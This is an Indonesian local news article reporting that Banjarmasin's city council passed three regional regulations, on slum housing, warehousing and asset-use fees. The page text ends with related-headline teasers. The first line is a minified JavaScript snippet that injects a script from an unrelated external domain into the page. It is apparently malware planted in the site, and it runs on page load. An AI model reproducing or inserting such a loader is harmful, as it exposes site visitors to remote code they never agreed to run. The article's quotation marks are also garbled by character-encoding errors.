(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Pada momen Ramadhan, Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarmasin menggelar Rapat Paripurna Tingkat II menetapkan tiga buah Peraturan Daerah (Perda).
Tiga Raperda yang ditetapkan pertama Perda tentang perencanaan dan peningkatan kualitas terhadap perumahan kumuh dan pemukiman kumuh, kedua Perda tentang penyelenggaraan pergudangan dan terakhir Perda tentang retribusi pemakaian kekayaan daerah.
Ketua DPRD Kota Banjarmasin, Hj Ananda mengatakan, ketiga Perda yang telah disahkan ini merupakan salah satu bukti dari lembaga legislatif berkomitmen untuk serius dalam menyelesaikan target Perda yang bisa disahkan pihaknya selama masa sidang tahun 2019.
“Kami juga berharap Perda yang sudah kami sahkan bisa memberikan efek positif bagi pelayanan publik maupun akselerasi pembangunan yang lebih baik bagi Kota Banjarmasin,†ungkapnya.
Untuk Perda tentang perencanaan dan peningkatan kualitas terhadap perumahan kumuh dan pemukiman kumuh misalnya, diharapkan dapat menjadi sebuah payung hukum untuk melakukan berbagai kebijakan dalam meminimalkan kawasan kumuh di kota Banjarmasin.
Kemudian untuk Perda tentang penyelenggaraan pergudangan, diharapkan bisa menjadi acuan bagi Pemkot Banjarmasin merealisasikan wilayah khusus zona pergudangan untuk akselerasi perekonomian yang lebih baik di kota Banjarmasin.
Terakhir Perda tentang retribusi pemakaian kekayaan daerah, diharapkan bisa menjadi salah satu solusi dalam mendorong peningkatan Pendapatan Asli Daerah (PAD) dalam rangka membiayai berbagai pelayanan publik dan membangun berbagai infrastruktur untuk kepentingan masyarakat.
Dalam kesempatan ini Hj Ananda pun mengingatkan agar koleganya di DPRD Kota Banjarmasin bisa lebih serius dalam menjalankan fungsi disisa beberapa bulan masa bakti Anggota DPRD Kota Banjarmasin 2014-2019.
“Pemilu sudah selesai, jadi sudah saatnya kita fokus bekerja kembali untuk memberikan yang terbaik bagi masyarakat di Kota Banjarmasin melalui lembaga legislatif,†pungkasnya. (arief)
KANALKALIMANTAN.COM, BANJARBARU - Basakalimantan Wiki kembali hadir dengan kegiatan Dialog #2 “Diskusi Kebijakan Publik Isu… Read More
Majelis Hakim Dipegang Salah Satu Pimpinan PN Banjarmasin Read More
Singapore Exchange Kecolongan, Data Palsu Digunakan untuk IPO Saham Read More
KANALKALIMANTAN.COM, BANJARMASIN - Sidang kasus dugaan korupsi dari Kabupaten Hulu Sungai Selatan (HSS), Provinsi Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Ribuan belut sawah hidup dari wilayah Kalimantan Selatan (Kalsel) dikirim ke negara… Read More
KANALKALIMANTAN.COM, AMUNTAI - Dinas Komunikasi Informatika dan Persandian (Diskominfosandi) Hulu Sungai Utara (HSU) menggelar bimbingan… Read More
This website uses cookies.